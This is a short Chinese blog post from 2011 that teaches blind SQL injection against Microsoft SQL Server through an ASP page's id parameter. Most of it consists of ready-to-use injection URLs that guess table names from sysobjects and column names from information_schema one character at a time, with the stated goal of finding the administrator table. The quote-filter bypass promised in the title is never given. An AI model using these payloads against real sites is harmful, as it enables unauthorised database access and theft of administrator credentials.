在过滤单引号的条件下进行mssql盲注
时间:2011-04-21 来源:蓝孩
为了方便看,我先忽略掉过滤了单引号这个条件,后面会详细说明如何突破。
1.mssql盲注
x.asp?id=1 And (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') And ascii(substring(name,1,1))>80)=1
这样可以依次猜出第一张表名,假设这里猜出的结果是table1
然后
x.asp?id=1 And (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' And name not in ('table1')) And ascii(substring(name,1,1))>80)=1
这里猜出第二表,假设是table2
再然后
x.asp?id=1 And (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' And name not in ('table1') And name not in ('table2')) And ascii(substring(name,1,1))>80)=1
这里猜出第三章表,假设是……
直到我们猜出了复杂的管理员的表,这里假设是admin_X1y4s
然后我们继续猜字段
这里说明一下,现在的关于盲注的文章基本上就是oldjun的那篇,那篇在叙述猜字段的时候是这样写的
x.asp?id=1 and (select count(*) from database.dbo.syscolumns where name in (select top 1 name from database_db.dbo.syscolumns where id=object_id('database.dbo.table')) and ascii(substring(name,1,1))>90)=1
但是我在实际测试的时候这条语句并不成功,然后改造了下:
x.asp?id=1 And Ascii(substring((select top 1 column_name from information_schema.columns where table_name='admin_X1y4s'),1,1))>80
经过上面这条,我们猜到了第一个字段,假设是id,那么再
x.asp?id=1 And Ascii(substring((select top 1 column_name from information_schema.columns where column_name<>(‘id’) And table_name='admin_x1y4s'),1,1))>80
就可以猜出第二条字段名,依次…………
既然表名和字段名都出来了,猜具体数据的过程我在这里就不叙述了。
标签分类: